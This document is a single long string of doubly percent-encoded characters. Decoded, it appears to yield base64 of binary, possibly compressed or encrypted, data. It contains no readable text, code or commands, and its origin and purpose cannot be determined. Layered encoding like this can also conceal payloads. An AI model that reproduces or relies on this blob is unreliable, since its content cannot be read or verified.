%37%37%25%37%37%25%34%63%25%33%36%25%34%38%25%34%34%25%34%37%25%34%34%25%36%37%25%34%39%25%32%66%25%34%66%25%35%35%25%34%62%25%33%32%25%36%66%25%33%35%25%34%63%25%36%32%25%34%35%25%36%62%25%35%38%25%33%30%25%34%66%25%36%37%25%34%63%25%35%33%25%35%37%25%36%61%25%33%39%25%34%31%25%35%39%25%34%63%25%36%64%25%34%35%25%33%31%25%34%62%25%37%32%25%36%38%25%37%34%25%34%38%25%36%65%25%35%34%25%33%39%25%34%33%25%33%35%25%37%38%25%35%38%25%36%63%25%32%66%25%34%35%25%37%36%25%37%32%25%34%31%25%36%64%25%36%31%25%35%31%25%34%34%25%34%36%25%32%62%25%36%61%25%36%33%25%36%33%25%37%36%25%37%61%25%35%30%25%33%30%25%32%66%25%34%37%25%34%62%25%36%65%25%37%36%25%35%39%25%34%65%25%32%62%25%37%35%25%36%31%25%37%30%25%33%30%25%36%61%25%35%38%25%36%36%25%35%37%25%34%39%25%35%31%25%33%31%25%36%61%25%35%36%25%33%31%25%35%33%25%32%66%25%36%33%25%35%37%25%37%33%25%37%37%25%34%61%25%33%39%25%36%31%25%36%33%25%36%36%25%36%38%25%37%31%25%35%36%25%34%66%25%36%39%25%36%31%25%37%34%25%33%36%25%37%38%25%36%37%25%34%64%25%36%39%25%36%34%25%35%31%25%35%33%25%33%33%25%37%37%25%37%38%25%34%64%25%37%38%25%36%38%25%33%31%25%33%39%25%36%63%25%35%61%25%36%38%25%33%37%25%34%62%25%33%31%25%36%61%25%34%65%25%35%36%25%35%36%25%36%64%25%33%37%25%36%39%25%33%32%25%34%63%25%34%39%25%35%34%25%34%39%25%34%65%25%34%35%25%33%30%25%34%64%25%34%35%25%34%36%25%37%35%25%34%65%25%33%38%25%33%35%25%36%34%25%34%61%25%34%62%25%34%64%25%33%31%25%35%36%25%35%61%25%34%62%25%35%37%25%35%30%25%37%37%25%34%66%25%37%34%25%35%34%25%37%61%25%36%63%25%35%30%25%35%39%25%37%34%25%37%31%25%37%32%25%37%39%25%34%63%25%35%38%25%36%32%25%33%36%25%34%63%25%36%36%25%34%37%25%36%38%25%37%37%25%35%30%25%37%36%25%32%66%25%36%37%25%36%37%25%36%34%25%37%61%25%34%66%25%34%31%25%34%65%25%32%66%25%33%32%25%34%38%25%37%34%25%36%37%25%34%31%25%37%32%25%36%32%25%37%37%25%35%36%25%35%37%25%34%34%25%34%66%25%33%37%25%35%61%25%37%35%25%36%62%25%35%35%25%33%31%25%34%37%25%34%36%25%35%39%25%34%66%25%36%63%25%33%33%25%33%31%25%36%63%25%34%33%25%34%61%25%37%35%25%37%34%25%36%63%25%34%31%25%35%61%25%33%33%25%37%37%25%34%31%25%34%35%25%37%38%25%34%39%25%34%31%25%34%64%25%34%32%25%33%30%25%32%66%25%34%36%25%36%62%25%34%33%25%34%37%25%33%33%25%34%36%25%34%61%25%35%30%25%36%37%25%33%36%25%33%36%25%34%38%25%36%35%25%35%38%25%33%36%25%36%35%25%34%65%25%33%33%25%36%62%25%35%37%25%36%38%25%34%32%25%34%33%25%35%33%25%33%30%25%34%61%25%36%63%25%37%30%25%34%31%25%35%39%25%36%65%25%36%62%25%35%39%25%34%39%25%34%36%25%35%37%25%37%34%25%36%39%25%35%32%25%34%63%25%34%37%25%36%34%25%36%61%25%36%65%25%34%31%25%33%39%25%34%65%25%32%66%25%37%36%25%36%66%25%36%39%25%37%33%25%34%39%25%37%35%25%34%62%25%33%31%25%37%31%25%34%35%25%36%37%25%37%31%25%33%39%25%36%39%25%32%62%25%36%62%25%35%38%25%37%30%25%32%62%25%36%63%25%36%66%25%34%61%25%36%36%25%36%61%25%35%34%25%34%39%25%35%37%25%33%39%25%35%33%25%36%39%25%37%36%25%37%31%25%36%31%25%36%63%25%37%34%25%36%33%25%36%31%25%36%36%25%37%35%25%35%61%25%34%38%25%33%31%25%34%34%25%37%32%25%36%62%25%37%37%25%35%32%25%36%31%25%34%36%25%35%37%25%36%66%25%37%38%25%34%33%25%34%63%25%36%61%25%33%36%25%33%34%25%35%39%25%34%66%25%35%34%25%34%33%25%36%65%25%34%64%25%37%32%25%34%39%25%36%34%25%36%32%25%35%33%25%37%31%25%33%34%25%35%31%25%36%62%25%37%34%25%35%37%25%37%36%25%34%34%25%36%31%25%37%30%25%35%37%25%36%34%25%35%37%25%36%34%25%32%66%25%34%36%25%35%35%25%36%36%25%35%37%25%34%65%25%33%39%25%36%34%25%35%61%25%33%32%25%37%37%25%35%39%25%34%34%25%36%36%25%36%35%25%34%63%25%33%34%25%37%34%25%34%36%25%35%35%25%35%36%25%32%62%25%35%38%25%33%31%25%34%39%25%35%34%25%36%65%25%37%34%25%35%33%25%33%35%25%36%35%25%34%66%25%36%63%25%34%64%25%34%33%25%34%66%25%35%33%25%34%62%25%35%35%25%35%61%25%33%32%25%33%32%25%36%34%25%35%37%25%36%33%25%33%39%25%32%62%25%37%32%25%37%61%25%36%36%25%34%62%25%34%66%25%35%61%25%33%32%25%34%61%25%35%33%25%32%62%25%37%37%25%37%61%25%36%32%25%34%34%25%33%33%25%35%61%25%34%65%25%36%39%25%33%36%25%35%35%25%36%64%25%33%37%25%33%37%25%34%65%25%37%39%25%34%64%25%35%39%25%34%36%25%37%39%25%37%61%25%36%62%25%37%37%25%34%34%25%36%64%25%33%37%25%33%35%25%36%62%25%35%33%25%33%30%25%37%36%25%36%39%25%36%64%25%37%37%25%37%30%25%37%33%25%35%31%25%34%33%25%34%38%25%33%36%25%36%37%25%32%62%25%34%34%25%34%31%25%36%33%25%35%30%25%35%35%25%33%34%25%34%38%25%33%39%25%32%62%25%35%30%25%34%31%25%37%32%25%36%39%25%34%33%25%34%63%25%33%32%25%33%35%25%37%36%25%34%33%25%35%31%25%33%32%25%35%61%25%34%31%25%34%66%25%34%31%25%35%39%25%37%34%25%32%62%25%36%65%25%35%61%25%36%62%25%36%63%25%36%65%25%34%36%25%36%31%25%35%39%25%35%37%25%33%34%25%36%34%25%32%66%25%35%35%25%37%38%25%34%62%25%32%66%25%32%66%25%35%38%25%35%36%25%36%39%25%36%35%25%32%62%25%32%66%25%37%30%25%37%32%25%35%37%25%36%31%25%37%37%25%34%64%25%34%34%25%34%33%25%36%33%25%37%32%25%34%38%25%36%62%25%33%32%25%37%36%25%36%31%25%37%36%25%37%32%25%33%37%25%36%61%25%34%31%25%37%37%25%36%64%25%34%39%25%33%30%25%35%32%25%35%31%25%37%37%25%37%61%25%35%39%25%34%64%25%36%66%25%34%32%25%36%38%25%36%63%25%34%35%25%35%32%25%33%30%25%36%33%25%37%31%25%33%37%25%34%36%25%35%33%25%34%37%25%37%38%25%37%34%25%34%35%25%37%39%25%34%61%25%36%32%25%34%36%25%36%61%25%33%35%25%34%62%25%37%33%25%35%30%25%33%35%25%36%64%25%34%35%25%37%38%25%36%64%25%36%66%25%34%34%25%36%35%25%37%32%25%34%62%25%36%38%25%36%32%25%34%61%25%33%34%25%35%36%25%36%65%25%36%66%25%34%33%25%33%38%25%35%30%25%33%36%25%32%62%25%36%61%25%35%34%25%34%66%25%34%35%25%33%39%25%35%32%25%33%33%25%35%35%25%34%63%25%35%61%25%35%33%25%36%63%25%36%64%25%35%34%25%36%31%25%36%33%25%34%36%25%35%61%25%36%63%25%36%32%25%36%39%25%33%31%25%37%34%25%33%38%25%35%35%25%35%33%25%36%34%25%33%35%25%36%31%25%35%32%25%37%33%25%33%39%25%34%62%25%33%39%25%34%37%25%34%61%25%35%32%25%36%64%25%37%37%25%35%37%25%35%61%25%36%62%25%36%32%25%34%61%25%37%39%25%36%64%25%36%38%25%34%34%25%35%36%25%37%39%25%35%32%25%35%31%25%36%66%25%37%30%25%35%34%25%37%39%25%35%31%25%33%30%25%36%62%25%35%33%25%34%37%25%37%37%25%34%35%25%37%37%25%36%62%25%35%37%25%33%30%25%33%32%25%33%31%25%37%31%25%34%39%25%37%32%25%35%33%25%36%32%25%36%61%25%36%31%25%34%65%25%34%36%25%34%32%25%35%61%25%36%62%25%35%34%25%37%32%25%37%35%25%33%33%25%37%38%25%35%38%25%36%37%25%34%32%25%36%31%25%35%61%25%32%62%25%35%37%25%33%34%25%35%39%25%35%33%25%36%64%25%35%37%25%36%36%25%33%33%25%32%66%25%35%39%25%35%33%25%34%64%25%35%33%25%37%37%25%34%64%25%36%64%25%35%36%25%37%36%25%37%39%25%34%61%25%34%34%25%37%35%25%35%32%25%34%31%25%34%33%25%36%36%25%33%31%25%35%35%25%34%39%25%33%31%25%33%37%25%34%31%25%37%39%25%34%36%25%36%35%25%35%36%25%34%35%25%33%36%25%34%34%25%37%32%25%36%64%25%36%65%25%35%38%25%37%38%25%34%38%25%36%33%25%37%38%25%36%61%25%35%61%25%37%31%25%37%33%25%33%38%25%35%31%25%37%35%25%36%33%25%37%38%25%34%32%25%33%31%25%34%61%25%33%34%25%33%31%25%36%35%25%36%34%25%34%35%25%37%39%25%35%32%25%34%35%25%34%35%25%36%66%25%36%64%25%37%39%25%35%35%25%34%64%25%37%39%25%35%33%25%34%63%25%36%65%25%35%61%25%33%39%25%35%39%25%34%32%25%36%37%25%35%32%25%37%35%25%35%61%25%33%31%25%36%36%25%33%35%25%37%39%25%36%35%25%35%33%25%37%35%25%34%32%25%35%34%25%34%65%25%37%37%25%35%32%25%37%35%25%35%37%25%34%37%25%37%36%25%36%33%25%34%31%25%34%64%25%35%30%25%34%36%25%36%34%25%34%61%25%33%33%25%36%38%25%34%36%25%35%33%25%35%39%25%34%36%25%36%61%25%36%36%25%33%31%25%36%33%25%36%37%25%34%62%25%36%63%25%37%34%25%37%61%25%33%31%25%34%38%25%33%39%25%36%65%25%36%33%25%35%34%25%34%62%25%34%35%25%34%66%25%35%35%25%35%32%25%33%31%25%34%35%25%36%63%25%37%30%25%34%36%25%37%34%25%34%63%25%35%35%25%34%38%25%34%65%25%37%32%25%36%62%25%37%32%25%36%62%25%35%34%25%34%38%25%36%39%25%34%63%25%36%32%25%33%34%25%34%37%25%34%36%25%35%37%25%36%33%25%34%32%25%36%64%25%36%36%25%35%35%25%35%32%25%33%30%25%35%31%25%34%64%25%37%39%25%37%33%25%35%38%25%36%32%25%36%64%25%35%32%25%32%62%25%32%62%25%36%35%25%35%32%25%36%38%25%36%32%25%33%33%25%36%64%25%33%38%25%36%34%25%36%61%25%34%35%25%37%34%25%37%36%25%35%31%25%33%33%25%37%39%25%36%35%25%37%33%25%33%31%25%33%37%25%36%35%25%36%37%25%33%37%25%34%35%25%34%32%25%37%36%25%36%61%25%33%30%25%33%35%25%33%33%25%35%36%25%33%37%25%34%39%25%36%66%25%37%33%25%35%61%25%36%31%25%36%64%25%36%37%25%36%31%25%35%31%25%32%62%25%35%31%25%33%35%25%34%34%25%34%64%25%36%35%25%35%36%25%36%32%25%34%62%25%34%36%25%34%62%25%35%34%25%36%38%25%32%66%25%33%32%25%36%66%25%36%61%25%37%30%25%35%39%25%36%61%25%34%63%25%35%34%25%34%62%25%34%37%25%37%61%25%36%34%25%36%31%25%34%64%25%37%32%25%34%66%25%36%64%25%34%62%25%36%64%25%36%35%25%35%39%25%35%38%25%34%37%25%34%31%25%35%31%25%34%38%25%35%37%25%36%62%25%34%37%25%34%66%25%37%33%25%36%39%25%32%66%25%33%33%25%36%37%25%34%62%25%37%61%25%33%35%25%34%65%25%33%30%25%34%39%25%34%62%25%37%33%25%36%35%25%33%36%25%32%62%25%36%33%25%35%38%25%34%66%25%36%33%25%34%33%25%33%33%25%34%36%25%35%32%25%34%37%25%34%32%25%36%39%25%34%39%25%36%34%25%36%39%25%37%30%25%34%33%25%34%37%25%32%62%25%34%35%25%33%30%25%37%32%25%34%35%25%35%31%25%36%35%25%34%33%25%34%65%25%35%61%25%34%62%25%37%30%25%34%37%25%36%61%25%34%39%25%37%35%25%35%34%25%33%37%25%35%36%25%34%34%25%33%34%25%34%62%25%37%30%25%35%39%25%37%31%25%37%32%25%37%39%25%36%39%25%34%62%25%34%36%25%37%39%25%33%38%25%36%39%25%35%33%25%34%36%25%35%34%25%37%36%25%35%31%25%33%36%25%33%37%25%36%65%25%36%33%25%33%39%25%33%39%25%34%31%25%36%32%25%37%30%25%36%61%25%36%36%25%33%31%25%33%30%25%36%62%25%34%63%25%37%30%25%37%33%25%37%39%25%35%33%25%37%35%25%37%35%25%36%64%25%35%32%25%34%37%25%34%63%25%35%34%25%35%35%25%36%38%25%34%63%25%34%35%25%36%66%25%34%39%25%36%39%25%37%38%25%34%62%25%36%39%25%35%32%25%36%66%25%36%34%25%33%39%25%33%32%25%33%37%25%33%31%25%37%35%25%36%64%25%34%62%25%34%61%25%34%38%25%36%61%25%35%32%25%32%66%25%34%31%25%37%38%25%36%31%25%34%34%25%35%37%25%36%63%25%36%62%25%34%31%25%36%61%25%33%37%25%34%62%25%34%31%25%34%34%25%36%63%25%33%35%25%33%38%25%36%32%25%37%35%25%34%62%25%32%62%25%34%31%25%33%33%25%32%62%25%36%61%25%37%34%25%36%36%25%37%31%25%36%66%25%35%35%25%35%38%25%33%30%25%36%38%25%37%30%25%34%32%25%35%32%25%37%32%25%36%61%25%34%34%25%37%36%25%35%33%25%34%34%25%37%35%25%36%61%25%33%38%25%33%37%25%35%39%25%32%62%25%35%32%25%34%62%25%34%34%25%32%66%25%34%61%25%34%62%25%36%33%25%37%30%25%37%33%25%34%35%25%35%38%25%36%37%25%35%31%25%34%61%25%34%38%25%36%36%25%36%39%25%37%31%25%32%66%25%34%61%25%34%32%25%36%62%25%34%39%25%33%36%25%35%30%25%34%33%25%33%35%25%34%34%25%33%34%25%35%35%25%37%39%25%35%34%25%34%64%25%33%32%25%35%34%25%34%33%25%34%66%25%34%39%25%34%62%25%33%34%25%36%65%25%34%36%25%35%34%25%37%33%25%35%38%25%37%34%25%34%37%25%35%37%25%33%37%25%33%39%25%34%62%25%34%35%25%34%63%25%35%33%25%33%38%25%33%38%25%34%39%25%36%66%25%34%64%25%34%31%25%36%61%25%36%33%25%37%31%25%36%65%25%34%66%25%37%33%25%35%61%25%37%30%25%37%39%25%36%32%25%33%33%25%33%39%25%33%31%25%34%62%25%34%32%25%36%34%25%35%33%25%37%32%25%34%37%25%37%61%25%32%66%25%35%30%25%36%65%25%35%34%25%37%35%25%34%66%25%36%61%25%37%35%25%35%32%25%33%33%25%34%38%25%36%63%25%34%31%25%34%37%25%36%37%25%36%32%25%37%36%25%33%31%25%35%39%25%35%36%25%34%35%25%36%63%25%36%36%25%34%34%25%35%61%25%35%34%25%34%31%25%35%30%25%37%61%25%34%66%25%37%32%25%35%32%25%33%33%25%36%38%25%36%35%25%36%64%25%35%34%25%36%32%25%36%61%25%35%34%25%34%33%25%37%32%25%36%31%25%33%34%25%34%37%25%36%61%25%36%65%25%37%34%25%35%37%25%37%31%25%34%35%25%36%61%25%32%62%25%34%34%25%33%38%25%35%33%25%34%34%25%33%34%25%34%61%25%34%63%25%37%38%25%36%34%25%34%32%25%34%66%25%33%30%25%35%61%25%35%38%25%34%35%25%36%65%25%33%38%25%33%38%25%34%64%25%34%37%25%36%36%25%37%36%25%35%61%25%35%34%25%36%62%25%36%63%25%35%34%25%35%35%25%33%30%25%36%34%25%34%65%25%35%39%25%37%32%25%33%32%25%35%33%25%37%33%25%32%62%25%33%30%25%32%66%25%35%37%25%34%32%25%34%31%25%33%33%25%37%36%25%32%62%25%33%33%25%35%30%25%36%31%25%34%39%25%34%34%25%34%36%25%34%33%25%34%62%25%34%65%25%37%61%25%37%37%25%36%63%25%33%39%25%35%39%25%35%35%25%32%62%25%34%38%25%35%61%25%34%38%25%36%61%25%34%62%25%37%33%25%35%36%25%33%37%25%32%62%25%36%38%25%33%38%25%34%32%25%36%66%25%34%65%25%34%36%25%35%38%25%33%32%25%35%35%25%37%39%25%35%34%25%35%30%25%33%38%25%37%38%25%33%37%25%33%36%25%33%38%25%34%66%25%35%30%25%36%32%25%34%65%25%34%36%25%35%36%25%34%34%25%36%34%25%33%34%25%33%39%25%37%61%25%34%65%25%35%33%25%34%38%25%34%34%25%33%33%25%34%64%25%37%36%25%35%37%25%37%35%25%32%66%25%35%38%25%36%33%25%35%32%25%33%35%25%32%66%25%34%31%25%34%31%25%34%31%25%34%31%25%37%37%25%34%39%25%34%36%25%37%34%25%34%63%25%37%39%25%35%61%25%35%33%25%37%34%25%37%33%25%37%33%25%33%37%25%37%39%25%36%33%25%34%33%25%36%65%25%36%35%25%34%61%25%37%33%25%32%66%25%34%38%25%34%36%25%34%32%25%33%37%25%36%63%25%34%61%25%33%34%25%32%62%25%35%34%25%33%36%25%34%65%25%34%33%25%36%31%25%36%62%25%34%66%25%35%32%25%34%64%25%36%39%25%36%65%25%36%65%25%35%32%25%36%33%25%35%36%25%37%31%25%34%31%25%33%39%25%37%34%25%36%36%25%37%30%25%37%61%25%32%62%25%33%30%25%33%30%25%36%39%25%36%36%25%37%34%25%34%32%25%36%64%25%34%34%25%34%38%25%36%38%25%36%63%25%35%31%25%34%31%25%36%35%25%36%62%25%33%39%25%35%31%25%34%37%25%34%37%25%35%36%25%35%34%25%35%39%25%36%61%25%37%35%25%36%62%25%37%39%25%37%34%25%35%32%25%36%39%25%36%66%25%34%32%25%34%39%25%37%30%25%34%37%25%33%38%25%35%32%25%36%35%25%33%39%25%37%32%25%34%62%25%35%32%25%35%61%25%35%33%25%36%33%25%37%33%25%37%38%25%36%62%25%35%32%25%33%37%25%36%32%25%33%30%25%33%31%25%35%33%25%37%33%25%34%63%25%35%38%25%37%37%25%36%34%25%33%35%25%33%35%25%34%38%25%36%66%25%35%30%25%33%32%25%33%31%25%37%61%25%36%37%25%33%39%25%36%66%25%34%36%25%35%34%25%36%35%25%35%36%25%34%32%25%37%35%25%37%39%25%37%34%25%36%35%25%34%32%25%33%37%25%35%31%25%37%38%25%36%61%25%37%32%25%36%65%25%34%31%25%33%37%25%35%33%25%32%62%25%34%65%25%37%34%25%34%37%25%36%61%25%36%36%25%34%62%25%35%30%25%35%33%25%37%61%25%36%64%25%35%31%25%37%38%25%36%62%25%34%36%25%33%37%25%37%39%25%34%61%25%33%36%25%34%34%25%33%37%25%34%34%25%36%31%25%36%65%25%37%34%25%33%35%25%33%31%25%33%35%25%37%32%25%37%37%25%36%65%25%33%30%25%37%33%25%32%62%25%36%39%25%35%32%25%36%32%25%36%37%25%34%37%25%36%62%25%37%38%25%33%32%25%35%33%25%35%30%25%35%32%25%36%38%25%34%36%25%33%30%25%34%35%25%34%32%25%35%33%25%37%34%25%35%37%25%33%35%25%33%31%25%36%63%25%34%61%25%37%35%25%35%61%25%36%37%25%36%61%25%33%36%25%37%61%25%35%31%25%34%32%25%34%65%25%36%38%25%34%36%25%36%63%25%34%64%25%36%34%25%37%33%25%34%64%25%37%33%25%33%35%25%37%34%25%37%38%25%35%35%25%34%36%25%36%63%25%34%64%25%37%30%25%34%66%25%37%31%25%35%36%25%35%35%25%33%39%25%36%65%25%37%33%25%36%62%25%34%31%25%37%32%25%37%36%25%35%35%25%37%33%25%36%33%25%37%35%25%34%39%25%36%39%25%37%33%25%37%35%25%34%31%25%36%66%25%34%39%25%36%64%25%35%31%25%33%32%25%35%31%25%33%36%25%35%39%25%36%61%25%36%34%25%35%30%25%36%31%25%36%35%25%34%61%25%37%32%25%36%66%25%35%35%25%36%39%25%35%61%25%33%34%25%35%30%25%35%32%25%37%39%25%35%38%25%36%61%25%35%61%25%35%33%25%34%35%25%36%64%25%34%63%25%34%61%25%35%30%25%35%34%25%33%33%25%35%31%25%35%38%25%37%38%25%36%66%25%35%32%25%37%39%25%36%36%25%37%33%25%33%30%25%34%35%25%37%38%25%35%34%25%35%33%25%33%35%25%34%35%25%33%38%25%36%33%25%36%33%25%34%37%25%37%31%25%34%36%25%37%37%25%36%39%25%36%39%25%36%32%25%36%31%25%36%63%25%36%32%25%33%31%25%37%39%25%37%31%25%36%62%25%32%62%25%35%35%25%33%30%25%35%30%25%37%30%25%37%34%25%32%62%25%37%37%25%33%39%25%35%30%25%36%64%25%34%33%25%32%66%25%37%30%25%35%39%25%34%33%25%35%35%25%33%36%25%36%36%25%34%63%25%37%33%25%34%37%25%36%31%25%34%32%25%33%33%25%34%34%25%35%33%25%36%64%25%35%34%25%35%39%25%36%65%25%37%34%25%36%39%25%36%36%25%32%62%25%37%37%25%36%32%25%34%39%25%36%37%25%33%35%25%36%33%25%35%31%25%33%34%25%34%36%25%35%36%25%37%33%25%35%30%25%34%66%25%37%30%25%34%39%25%36%35%25%35%38%25%33%30%25%37%38%25%35%30%25%33%36%25%36%37%25%36%63%25%35%34%25%33%36%25%36%38%25%36%34%25%37%36%25%33%30%25%34%66%25%36%61%25%33%36%25%35%35%25%36%36%25%36%31%25%37%35%25%35%34%25%33%38%25%35%61%25%33%33%25%34%62%25%32%66%25%35%30%25%35%34%25%37%37%25%37%36%25%35%30%25%34%62%25%35%33%25%35%33%25%35%38%25%33%37%25%37%31%25%33%36%25%33%37%25%37%61%25%34%39%25%36%62%25%34%65%25%35%34%25%37%34%25%35%33%25%34%66%25%34%38%25%35%37%25%34%66%25%35%61%25%33%31%25%35%31%25%32%62%25%37%35%25%32%62%25%36%34%25%34%39%25%34%32%25%37%34%25%37%61%25%36%39%25%36%63%25%34%34%25%35%38%25%36%61%25%33%36%25%34%66%25%34%61%25%34%32%25%36%38%25%37%31%25%35%31%25%36%31%25%37%39%25%35%34%25%34%32%25%34%65%25%37%30%25%35%30%25%37%32%25%35%36%25%35%33%25%34%37%25%35%30%25%36%37%25%33%35%25%33%39%25%35%31%25%37%35%25%34%66%25%34%63%25%35%39%25%35%38%25%36%38%25%35%35%25%36%36%25%36%65%25%35%61%25%34%36%25%35%33%25%34%65%25%37%31%25%34%31%25%34%38%25%33%31%25%35%32%25%34%34%25%33%33%25%33%37%25%33%38%25%36%36%25%33%30%25%36%61%25%34%31%25%36%32%25%33%31%25%37%33%25%37%33%25%33%38%25%37%31%25%34%34%25%36%31%25%33%32%25%35%36%25%34%39%25%34%62%25%36%34%25%35%61%25%37%36%25%36%64%25%34%36%25%37%35%25%36%37%25%36%64%25%36%34%25%37%37%25%35%39%25%34%31%25%34%35%25%36%37%25%35%38%25%37%31%25%34%37%25%37%38%25%34%34%25%36%65%25%37%35%25%34%37%25%35%32%25%36%64%25%37%61%25%34%39%25%37%39%25%33%30%25%34%65%25%35%31%25%37%37%25%34%37%25%35%61%25%35%35%25%37%33%25%37%38%25%37%32%25%34%62%25%35%61%25%34%39%25%34%63%25%33%31%25%36%66%25%36%66%25%35%33%25%36%65%25%32%62%25%36%34%25%33%34%25%33%31%25%36%36%25%33%33%25%36%39%25%35%39%25%37%31%25%33%34%25%33%30%25%36%63%25%36%34%25%36%33%25%35%34%25%34%65%25%32%66%25%34%66%25%37%32%25%37%33%25%33%33%25%36%36%25%36%61%25%36%33%25%36%65%25%33%34%25%33%38%25%37%33%25%33%39%25%35%36%25%37%30%25%37%35%25%35%39%25%33%33%25%35%33%25%34%31%25%33%39%25%37%36%25%36%61%25%34%62%25%37%37%25%35%34%25%33%34%25%35%38%25%34%34%25%37%61%25%33%34%25%34%31%25%32%66%25%32%62%25%34%66%25%37%36%25%35%30%25%37%39%25%35%30%25%35%31%25%34%62%25%34%38%25%34%33%25%34%38%25%37%37%25%37%61%25%34%64%25%37%34%25%34%39%25%35%32%25%34%36%25%36%64%25%36%31%25%34%34%25%35%61%25%33%33%25%33%30%25%37%33%25%35%31%25%35%37%25%34%31%25%35%38%25%36%33%25%33%39%25%33%35%25%33%31%25%37%37%25%33%37%25%36%35%25%37%30%25%34%32%25%33%39%25%37%31%25%35%31%25%36%61%25%33%31%25%37%32%25%36%61%25%34%66%25%37%61%25%35%35%25%37%32%25%36%65%25%36%32%25%37%38%25%33%38%25%33%34%25%35%38%25%34%34%25%35%30%25%33%36%25%34%63%25%33%34%25%33%33%25%37%36%25%37%38%25%34%31%25%34%36%25%33%34%25%36%66%25%33%39%25%34%31%25%33%32%25%36%37%25%33%35%25%34%31%25%33%37%25%33%35%25%34%61%25%35%39%25%35%61%25%34%37%25%36%39%25%35%37%25%33%39%25%34%39%25%32%66%25%35%38%25%36%62%25%34%63%25%37%38%25%35%61%25%36%62%25%35%33%25%32%62%25%33%33%25%36%36%25%36%64%25%34%36%25%33%30%25%37%61%25%36%62%25%35%61%25%37%38%25%35%34%25%34%64%25%37%36%25%33%35%25%33%36%25%33%30%25%32%66%25%34%62%25%35%39%25%36%62%25%34%32%25%35%33%25%35%37%25%34%62%25%34%37%25%37%30%25%33%34%25%37%37%25%35%61%25%34%36%25%33%36%25%35%33%25%32%66%25%35%35%25%35%38%25%34%37%25%32%62%25%33%30%25%35%34%25%32%62%25%36%34%25%34%36%25%37%34%25%33%39%25%35%33%25%37%31%25%35%34%25%34%63%25%36%66%25%35%38%25%34%64%25%33%30%25%34%65%25%33%31%25%36%31%25%33%39%25%34%37%25%33%35%25%34%66%25%37%35%25%34%34%25%36%35%25%33%35%25%36%63%25%34%31%25%33%34%25%33%39%25%36%63%25%36%35%25%37%33%25%35%36%25%34%31%25%34%66%25%35%61%25%36%36%25%36%63%25%35%39%25%34%38%25%34%35%25%37%38%25%36%37%25%34%65%25%37%37%25%36%66%25%32%66%25%34%61%25%33%36%25%34%66%25%35%38%25%35%30%25%35%35%25%34%62%25%34%65%25%36%32%25%37%32%25%34%34%25%37%37%25%36%33%25%37%61%25%34%63%25%36%31%25%34%37%25%34%34%25%36%38%25%33%37%25%36%61%25%35%61%25%33%32%25%35%34%25%33%38%25%36%33%25%37%36%25%36%35%25%34%35%25%34%31%25%33%31%25%33%30%25%37%30%25%36%36%25%34%32%25%37%61%25%33%38%25%37%33%25%37%37%25%36%32%25%33%38%25%34%31%25%36%35%25%37%34%25%34%65%25%35%33%25%36%32%25%33%39%25%37%37%25%37%61%25%37%34%25%34%32%25%37%33%25%35%34%25%36%33%25%34%31%25%33%36%25%37%31%25%36%33%25%34%64%25%36%66%25%36%38%25%32%62%25%35%31%25%33%39%25%35%31%25%34%63%25%34%66%25%34%32%25%33%39%25%36%38%25%32%62%25%37%32%25%35%31%25%34%37%25%36%61%25%37%32%25%37%37%25%36%33%25%34%64%25%35%31%25%34%62%25%37%35%25%35%30%25%35%34%25%36%32%25%34%62%25%35%33%25%36%61%25%37%37%25%35%38%25%35%35%25%36%61%25%36%64%25%36%38%25%34%61%25%33%30%25%33%36%25%35%39%25%35%61%25%36%64%25%37%32%25%36%65%25%37%39%25%34%32%25%33%32%25%35%36%25%34%36%25%35%32%25%35%39%25%35%32%25%36%33%25%36%63%25%36%37%25%33%38%25%37%32%25%36%65%25%34%38%25%34%34%25%37%38%25%36%35%25%36%64%25%34%37%25%34%35%25%33%30%25%35%33%25%35%35%25%37%39%25%36%65%25%36%32%25%33%32%25%37%33%25%36%32%25%33%37%25%37%34%25%34%35%25%35%34%25%34%32%25%34%66%25%36%62%25%35%38%25%35%30%25%35%39%25%37%36%25%36%33%25%36%66%25%35%35%25%35%35%25%33%39%25%35%34%25%35%39%25%34%39%25%37%30%25%37%30%25%37%36%25%32%62%25%35%32%25%37%38%25%34%34%25%35%30%25%32%62%25%37%61%25%36%61%25%36%61%25%33%30%25%35%36%25%36%34%25%33%33%25%35%34%25%37%36%25%35%37%25%35%39%25%34%32%25%33%32%25%34%33%25%35%39%25%35%35%25%35%33%25%33%37%25%34%35%25%35%39%25%34%32%25%34%38%25%35%37%25%34%61%25%34%66%25%33%32%25%33%33%25%36%64%25%32%62%25%33%32%25%37%31%25%36%64%25%37%38%25%36%34%25%36%31%25%37%31%25%33%37%25%35%39%25%34%33%25%36%36%25%35%36%25%36%37%25%37%39%25%33%32%25%36%37%25%35%31%25%36%33%25%32%66%25%36%39%25%35%38%25%34%37%25%37%31%25%36%36%25%37%34%25%35%39%25%35%30%25%33%30%25%34%61%25%36%33%25%34%31%25%36%32%25%37%39%25%34%33%25%33%33%25%34%39%25%34%36%25%36%64%25%36%32%25%36%37%25%36%36%25%36%63%25%36%65%25%35%39%25%35%37%25%34%62%25%34%32%25%35%61%25%37%36%25%34%34%25%34%31%25%34%36%25%36%64%25%34%61%25%34%35%25%34%36%25%33%35%25%36%65%25%34%34%25%34%66%25%33%32%25%37%34%25%35%37%25%37%38%25%34%39%25%32%66%25%36%36%25%36%35%25%37%35%25%33%33%25%37%33%25%34%36%25%34%31%25%33%33%25%37%36%25%37%37%25%35%30%25%36%31%25%33%36%25%32%66%25%34%63%25%34%31%25%36%39%25%36%31%25%35%31%25%33%36%25%34%66%25%35%33%25%34%33%25%32%62%25%34%33%25%36%34%25%33%37%25%36%37%25%34%62%25%36%38%25%33%37%25%33%36%25%34%38%25%36%64%25%35%37%25%36%61%25%34%62%25%34%38%25%34%35%25%35%39%25%34%39%25%35%35%25%35%36%25%33%38%25%34%37%25%34%38%25%34%31%25%33%39%25%35%31%25%34%34%25%36%64%25%33%34%25%37%61%25%37%37%25%37%37%25%33%30%25%34%34%25%36%63%25%37%31%25%35%35%25%36%36%25%34%64%25%36%61%25%34%35%25%35%31%25%35%36%25%36%62%25%32%62%25%35%30%25%33%30%25%34%62%25%34%34%25%37%37%25%34%32%25%37%30%25%37%39%25%37%31%25%34%63%25%35%34%25%34%63%25%35%31%25%36%61%25%35%36%25%35%35%25%34%63%25%33%36%25%34%36%25%35%32%25%33%30%25%36%63%25%35%34%25%34%34%25%32%66%25%34%64%25%34%34%25%34%34%25%35%35%25%32%62%25%36%31%25%33%38%25%36%61%25%35%30%25%34%35%25%36%64%25%33%30%25%36%61%25%37%31%25%37%30%25%34%35%25%35%36%25%33%32%25%34%38%25%34%66%25%34%38%25%35%38%25%35%36%25%36%31%25%33%36%25%37%38%25%35%61%25%37%38%25%33%32%25%34%38%25%35%38%25%35%61%25%34%39%25